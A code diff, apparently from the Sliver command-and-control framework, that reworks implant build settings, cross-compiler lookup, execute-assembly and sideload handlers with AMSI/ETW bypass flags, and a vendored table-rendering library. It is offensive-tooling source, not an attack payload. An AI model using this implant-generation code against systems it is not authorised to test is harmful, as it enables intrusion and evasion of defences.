if len(item) < 1 {
|
||||
continue
|
||||
}
|
||||
if _, value := allKeys[item]; !value {
|
||||
allKeys[item] = true
|
||||
list = append(list, item)
|
||||
}
|
||||
}
|
||||
return list
|
||||
}
|
||||
|
||||
func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
if len(config.Cookies) < 1 {
|
||||
return ErrMissingCookies
|
||||
@@ -165,7 +136,7 @@ func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
Do not allow backticks in user agents because that breaks compilation of the
|
||||
implant.
|
||||
*/
|
||||
if strings.Index(config.UserAgent, "`") != -1 {
|
||||
if strings.Contains(config.UserAgent, "`") {
|
||||
// Blank out the user agent so that a default one will be filled in later
|
||||
config.UserAgent = ""
|
||||
return ErrUserAgentIllegalCharacters
|
||||
|
||||
@@ -19,12 +19,9 @@ package configs
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -134,6 +131,10 @@ type ServerConfig struct {
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
CXX map[string]string `json:"cxx"`
|
||||
}
|
||||
|
||||
// Save - Save config file to disk
|
||||
@@ -205,12 +206,7 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
}
|
||||
|
||||
func getRandomID() string {
|
||||
seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano()))
|
||||
buf := make([]byte, 32)
|
||||
seededRand.Read(buf)
|
||||
return hex.EncodeToString(buf)
|
||||
}
|
||||
+90
-142
@@ -25,7 +25,6 @@ import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
insecureRand "math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -52,37 +51,13 @@ import (
|
||||
var (
|
||||
buildLog = log.NamedLogger("generate", "build")
|
||||
|
||||
// RUNTIME GOOS -> TARGET GOOS -> TARGET ARCH
|
||||
defaultCCPaths = map[string]map[string]map[string]string{
|
||||
"linux": {
|
||||
"windows": {
|
||||
"386": "/usr/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/usr/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"darwin": {
|
||||
// OSX Cross - https://github.com/tpoechtrager/osxcross
|
||||
"amd64": "/opt/osxcross/target/bin/o64-clang",
|
||||
"arm64": "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang",
|
||||
},
|
||||
},
|
||||
"darwin": {
|
||||
"windows": {
|
||||
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"linux": {
|
||||
// brew install FiloSottile/musl-cross/musl-cross
|
||||
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// SupportedCompilerTargets - Supported compiler targets
|
||||
SupportedCompilerTargets = map[string]bool{
|
||||
"darwin/amd64": true,
|
||||
"darwin/arm64": true,
|
||||
"linux/386": true,
|
||||
"linux/amd64": true,
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
@@ -139,40 +114,6 @@ const (
|
||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||
)
|
||||
|
||||
func copyC2List(src []*clientpb.ImplantC2) []models.ImplantC2 {
|
||||
c2s := []models.ImplantC2{}
|
||||
for _, srcC2 := range src {
|
||||
c2URL, err := url.Parse(srcC2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
c2s = append(c2s, models.ImplantC2{
|
||||
Priority: srcC2.Priority,
|
||||
URL: c2URL.String(),
|
||||
Options: srcC2.Options,
|
||||
})
|
||||
}
|
||||
return c2s
|
||||
}
|
||||
|
||||
func isC2Enabled(schemes []string, c2s []models.ImplantC2) bool {
|
||||
for _, c2 := range c2s {
|
||||
c2URL, err := url.Parse(c2.URL)
|
||||
if err != nil {
|
||||
buildLog.Warnf("Failed to parse c2 url %v", err)
|
||||
continue
|
||||
}
|
||||
for _, scheme := range schemes {
|
||||
if scheme == c2URL.Scheme {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("No %v URLs found in %v", schemes, c2s)
|
||||
return false
|
||||
}
|
||||
|
||||
// GetSliversDir - Get the binary directory
|
||||
func GetSliversDir() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
@@ -256,20 +197,18 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
|
||||
// SliverSharedLibrary - Generates a sliver shared library (DLL/dylib/so) binary
|
||||
func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
var cc string
|
||||
var cxx string
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
// Don't use a cross-compiler if the target bin is built on the same platform
|
||||
// as the sliver-server.
|
||||
if runtime.GOOS != config.GOOS {
|
||||
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
if cc == "" {
|
||||
return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
|
||||
}
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
@@ -328,15 +267,22 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
|
||||
// SliverExecutable - Generates a sliver executable binary
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
cgo := "0"
|
||||
if config.IsSharedLib {
|
||||
cgo = "1"
|
||||
}
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: cgo,
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
GOARCH: config.GOARCH,
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
@@ -406,8 +352,8 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
// srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src
|
||||
srcDir := filepath.Join(projectGoPathDir, "src")
|
||||
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
assets.SetupGoPath(srcDir, config.IncludeDNS) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
if err != nil {
|
||||
buildLog.Errorf("fs perms: %v", err)
|
||||
return "", err
|
||||
@@ -578,7 +524,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
}
|
||||
|
||||
// renderTrafficEncoderAssets - Copies and compresses any enabled WASM traffic encoders
|
||||
func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderTrafficEncoderAssets(_ *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering traffic encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
for _, asset := range config.Assets {
|
||||
@@ -603,7 +549,7 @@ func renderTrafficEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.I
|
||||
}
|
||||
|
||||
// renderNativeEncoderAssets - Render native encoder assets such as the english dictionary file
|
||||
func renderNativeEncoderAssets(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
func renderNativeEncoderAssets(_ *clientpb.ImplantBuild, _ *clientpb.ImplantConfig, sliverPkgDir string) {
|
||||
buildLog.Infof("Rendering native encoder assets ...")
|
||||
encoderAssetsPath := filepath.Join(sliverPkgDir, "implant", "sliver", "encoders", "assets")
|
||||
|
||||
@@ -664,46 +610,6 @@ func renderImplantEnglish() []string {
|
||||
return implantDictionary
|
||||
}
|
||||
|
||||
func renderChromeUserAgent(implantConfig *clientpb.HTTPC2ImplantConfig, goos string, goarch string) string {
|
||||
if implantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderMacOSVer(implantConfig), renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return implantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", renderChromeVer(implantConfig))
|
||||
}
|
||||
|
||||
func renderChromeVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func renderMacOSVer(implantConfig *clientpb.HTTPC2ImplantConfig) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// GenerateConfig - Generate the keys/etc for the implant
|
||||
func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*clientpb.ImplantBuild, error) {
|
||||
var err error
|
||||
@@ -794,38 +700,80 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
func findCrossCompilers(targetGoos string, targetGoarch string) (string, string) {
|
||||
var found bool
|
||||
func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string) {
|
||||
|
||||
// Get CC and CXX from ENV
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGoos, targetGoarch)
|
||||
// Get CC and CXX from ENV -- First Priority
|
||||
cc, cxx := getCrossCompilersFromEnv(targetGOOS, targetGOARCH)
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
// If no CC is set in ENV then look for default path(s), we need a CC
|
||||
// but don't always need a CXX so we only WARN on a missing CXX
|
||||
if cc == "" {
|
||||
buildLog.Debugf("CC not found in ENV, using default paths")
|
||||
if _, ok := defaultCCPaths[runtime.GOOS]; ok {
|
||||
if cc, found = defaultCCPaths[runtime.GOOS][targetGoos][targetGoarch]; !found {
|
||||
buildLog.Debugf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
|
||||
// Server config file -- Second Priority
|
||||
serverConfig := configs.GetServerConfig()
|
||||
if serverConfig != nil {
|
||||
if cc == "" {
|
||||
if value, ok := serverConfig.CC[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cc = value
|
||||
} else {
|
||||
buildLog.Debugf("CC for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
} else {
|
||||
buildLog.Debugf("No default paths for %s runtime", runtime.GOOS)
|
||||
}
|
||||
if cxx == "" {
|
||||
if value, ok := serverConfig.CXX[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]; ok {
|
||||
cxx = value
|
||||
} else {
|
||||
buildLog.Debugf("CXX for %s/%s not found in ENV or server config", targetGOOS, targetGOARCH)
|
||||
}
|
||||
}
|
||||
if cc != "" && cxx != "" {
|
||||
buildLog.Debugf("CC and CXX found in ENV/server config: cc=%s, cxx=%s", cc, cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
}
|
||||
|
||||
// Check to see if CC and CXX exist
|
||||
if cc != "" {
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
// Defaults -- Tertiary Priority
|
||||
// Darwin/zig doesn't work :( maybe it will in the future though
|
||||
if targetGOOS != DARWIN && (cc == "" || cxx == "") {
|
||||
zigTarget := map[string]string{
|
||||
"windows/amd64": "x86_64-windows-gnu",
|
||||
"windows/arm64": "aarch64-windows-gnu",
|
||||
"windows/386": "x86-windows-gnu",
|
||||
"linux/amd64": "x86_64-linux-musl",
|
||||
"linux/386": "x86-linux-musl",
|
||||
"linux/arm64": "aarch64-linux-musl",
|
||||
"linux/ppc64": "powerpc64le-linux-musl",
|
||||
}[fmt.Sprintf("%s/%s", targetGOOS, targetGOARCH)]
|
||||
|
||||
zigDir := assets.GetZigDir()
|
||||
if cc == "" {
|
||||
buildLog.Debugf("Using default zig cc for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = fmt.Sprintf("%s cc -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
|
||||
}
|
||||
if cxx == "" {
|
||||
buildLog.Debugf("Using default zig cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cxx = fmt.Sprintf("%s c++ -target %s", filepath.Join(zigDir, "zig"), zigTarget)
|
||||
}
|
||||
}
|
||||
buildLog.Debugf(" CC = '%s'", cc)
|
||||
if cxx != "" {
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
// Try to use OSXCross for cross-compiling to Darwin
|
||||
if targetGOOS == DARWIN && runtime.GOOS != DARWIN {
|
||||
if targetGOARCH == "amd64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/o64-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
if targetGOARCH == "arm64" && cc == "" {
|
||||
buildLog.Debugf("Using default osxcross cc/cxx for %s/%s", targetGOOS, targetGOARCH)
|
||||
cc = "/opt/osxcross/target/bin/aarch64-apple-darwin20.2-clang"
|
||||
if cxx == "" {
|
||||
cxx = cc
|
||||
}
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("CXX = '%s'", cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -996,7 +944,7 @@ const (
|
||||
// this is currently set to '*' (all packages) however in the past we've had
|
||||
// to carve out specific packages, so we left this here just in case we need
|
||||
// it in the future.
|
||||
func goGarble(config *clientpb.ImplantConfig) string {
|
||||
func goGarble(_ *clientpb.ImplantConfig) string {
|
||||
// for _, c2 := range config.C2 {
|
||||
// uri, err := url.Parse(c2.URL)
|
||||
// if err != nil {
|
||||
|
||||
@@ -20,7 +20,6 @@ package generate
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -114,12 +113,10 @@ func TestSliverExecutableLinux(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestSliverSharedLibraryLinux(t *testing.T) {
|
||||
if runtime.GOOS == "linux" {
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
multiLibrary(t, "linux", "amd64", true)
|
||||
multiLibrary(t, "linux", "amd64", false)
|
||||
multiLibrary(t, "linux", "386", true)
|
||||
multiLibrary(t, "linux", "386", false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableDarwin(t *testing.T) {
|
||||
|
||||
@@ -42,6 +42,9 @@ func SaveImplantProfile(pbProfile *clientpb.ImplantProfile) (*clientpb.ImplantPr
|
||||
Name: profile.Name,
|
||||
ImplantConfig: profile.ImplantConfig,
|
||||
}).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dbProfile, err = db.ImplantProfileByName(profile.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
+4
-6
@@ -26,15 +26,12 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
goDirName = "go"
|
||||
|
||||
kb = 1024
|
||||
mb = 1024 * kb
|
||||
gb = 1024 * mb
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -111,7 +108,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
@@ -154,7 +151,8 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("PATH=%s:%s:%s", filepath.Join(config.GOROOT, "bin"), assets.GetZigDir(), os.Getenv("PATH")),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
|
||||
@@ -198,7 +198,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
req.Assembly,
|
||||
req.IsDLL,
|
||||
req.Arch,
|
||||
req.Arguments,
|
||||
strings.Join(req.Arguments, " "),
|
||||
req.Method,
|
||||
req.ClassName,
|
||||
req.AppDomain,
|
||||
@@ -214,7 +214,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
invokeInProcExecAssembly := &sliverpb.InvokeInProcExecuteAssemblyReq{
|
||||
Data: req.Assembly,
|
||||
Runtime: req.Runtime,
|
||||
Arguments: strings.Split(req.Arguments, " "),
|
||||
Arguments: req.Arguments,
|
||||
AmsiBypass: req.AmsiBypass,
|
||||
EtwBypass: req.EtwBypass,
|
||||
Request: req.Request,
|
||||
@@ -266,7 +266,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
}
|
||||
|
||||
if getOS(session, beacon) == "windows" {
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, req.Args, "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
if err != nil {
|
||||
tasksLog.Errorf("Sideload failed: %s", err)
|
||||
return nil, err
|
||||
|
||||
+4
-3
@@ -7,7 +7,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- Add Header(s) and Footer(s) (`AppendHeader`/`AppendFooter`)
|
||||
- Add a Separator manually after any Row (`AppendSeparator`)
|
||||
- Auto Index Rows (1, 2, 3 ...) and Columns (A, B, C, ...) (`SetAutoIndex`)
|
||||
- Auto Merge
|
||||
- Auto Merge (_not supported in CSV/HTML/Markdown/TSV modes_)
|
||||
- Cells in a Row (`RowConfig.AutoMerge`)
|
||||
- Columns (`ColumnConfig.AutoMerge`)
|
||||
- Limit the length of
|
||||
@@ -21,6 +21,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- Mirror output to an `io.Writer` (ex. `os.StdOut`) (`SetOutputMirror`)
|
||||
- Sort by one or more Columns (`SortBy`)
|
||||
- Suppress/hide columns with no content (`SuppressEmptyColumns`)
|
||||
- Suppress trailing spaces in the last column (`SupressTrailingSpaces`)
|
||||
- Customizable Cell rendering per Column (`ColumnConfig.Transformer*`)
|
||||
- Hide any columns that you don't want displayed (`ColumnConfig.Hidden`)
|
||||
- Reset Headers/Rows/Footers at will to reuse the same Table Writer (`Reset*`)
|
||||
@@ -36,6 +37,7 @@ Pretty-print tables into ASCII/Unicode strings.
|
||||
- CSV
|
||||
- HTML Table (with custom CSS Class)
|
||||
- Markdown Table
|
||||
- TSV
|
||||
|
||||
```
|
||||
+---------------------------------------------------------------------+
|
||||
@@ -205,7 +207,7 @@ it specifically for each row/column using `RowConfig` or `ColumnConfig`.
|
||||
|
||||
t := table.NewWriter()
|
||||
t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "RCE", "RCE"}, rowConfigAutoMerge)
|
||||
t.AppendHeader(table.Row{"", "", "", "", "EXE", "RUN"})
|
||||
t.AppendHeader(table.Row{"Node IP", "Pods", "Namespace", "Container", "EXE", "RUN"})
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 1", "Y", "Y"}, rowConfigAutoMerge)
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1A", "C 2", "Y", "N"}, rowConfigAutoMerge)
|
||||
t.AppendRow(table.Row{"1.1.1.1", "Pod 1A", "NS 1B", "C 3", "N", "N"}, rowConfigAutoMerge)
|
||||
@@ -223,7 +225,6 @@ it specifically for each row/column using `RowConfig` or `ColumnConfig`.
|
||||
{Number: 5, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
|
||||
{Number: 6, Align: text.AlignCenter, AlignFooter: text.AlignCenter, AlignHeader: text.AlignCenter},
|
||||
})
|
||||
t.SetOutputMirror(os.Stdout)
|
||||
t.SetStyle(table.StyleLight)
|
||||
t.Style().Options.SeparateRows = true
|
||||
fmt.Println(t.Render())
|
||||
|
||||
+1
-1
@@ -71,7 +71,7 @@ type ColumnConfig struct {
|
||||
}
|
||||
|
||||
func (c ColumnConfig) getWidthMaxEnforcer() WidthEnforcer {
|
||||
if c.WidthMax == 0 {
|
||||
if c.WidthMax <= 0 {
|
||||
return widthEnforcerNone
|
||||
}
|
||||
if c.WidthMaxEnforcer != nil {
|
||||
|
||||
+34
-16
@@ -9,15 +9,16 @@ import (
|
||||
)
|
||||
|
||||
// Render renders the Table in a human-readable "pretty" format. Example:
|
||||
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
|
||||
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ 1 │ Arya │ Stark │ 3000 │ │
|
||||
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
|
||||
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ │ │ TOTAL │ 10000 │ │
|
||||
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
|
||||
//
|
||||
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
|
||||
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ 1 │ Arya │ Stark │ 3000 │ │
|
||||
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
|
||||
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
|
||||
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
|
||||
// │ │ │ TOTAL │ 10000 │ │
|
||||
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
|
||||
func (t *Table) Render() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -206,11 +207,12 @@ func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
if outLine != out {
|
||||
t.renderLineMergeOutputs(out, outLine)
|
||||
}
|
||||
t.firstRowOfPage = false
|
||||
|
||||
// if a page size has been set, and said number of lines has already
|
||||
// been rendered, and the header is not being rendered right now, render
|
||||
// the header all over again with a spacing line
|
||||
if hint.isRegularRow() {
|
||||
if hint.isRegularNonSeparatorRow() {
|
||||
t.numLinesRendered++
|
||||
if t.pageSize > 0 && t.numLinesRendered%t.pageSize == 0 && !hint.isLastLineOfLastRow() {
|
||||
t.renderRowsFooter(out)
|
||||
@@ -218,6 +220,7 @@ func (t *Table) renderLine(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
out.WriteString(t.style.Box.PageSeparator)
|
||||
t.renderRowsBorderTop(out)
|
||||
t.renderRowsHeader(out)
|
||||
t.firstRowOfPage = true
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -312,8 +315,7 @@ func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint)
|
||||
hint.rowNumber = rowIdx + 1
|
||||
t.renderRow(out, row, hint)
|
||||
|
||||
if (t.style.Options.SeparateRows && rowIdx < len(rows)-1) || // last row before footer
|
||||
(t.separators[rowIdx] && rowIdx != len(rows)-1) { // manually added separator not after last row
|
||||
if t.shouldSeparateRows(rowIdx, len(rows)) {
|
||||
hint.isFirstRow = false
|
||||
t.renderRowSeparator(out, hint)
|
||||
}
|
||||
@@ -322,17 +324,33 @@ func (t *Table) renderRows(out *strings.Builder, rows []rowStr, hint renderHint)
|
||||
|
||||
func (t *Table) renderRowsBorderBottom(out *strings.Builder) {
|
||||
if len(t.rowsFooter) > 0 {
|
||||
t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: true, rowNumber: len(t.rowsFooter)})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderBottom: true,
|
||||
isFooterRow: true,
|
||||
rowNumber: len(t.rowsFooter),
|
||||
})
|
||||
} else {
|
||||
t.renderRowSeparator(out, renderHint{isBorderBottom: true, isFooterRow: false, rowNumber: len(t.rows)})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderBottom: true,
|
||||
isFooterRow: false,
|
||||
rowNumber: len(t.rows),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) renderRowsBorderTop(out *strings.Builder) {
|
||||
if len(t.rowsHeader) > 0 || t.autoIndex {
|
||||
t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: true, rowNumber: 0})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderTop: true,
|
||||
isHeaderRow: true,
|
||||
rowNumber: 0,
|
||||
})
|
||||
} else {
|
||||
t.renderRowSeparator(out, renderHint{isBorderTop: true, isHeaderRow: false, rowNumber: 0})
|
||||
t.renderRowSeparator(out, renderHint{
|
||||
isBorderTop: true,
|
||||
isHeaderRow: false,
|
||||
rowNumber: 0,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+6
-5
@@ -7,11 +7,12 @@ import (
|
||||
)
|
||||
|
||||
// RenderCSV renders the Table in CSV format. Example:
|
||||
// #,First Name,Last Name,Salary,
|
||||
// 1,Arya,Stark,3000,
|
||||
// 20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
|
||||
// 300,Tyrion,Lannister,5000,
|
||||
// ,,Total,10000,
|
||||
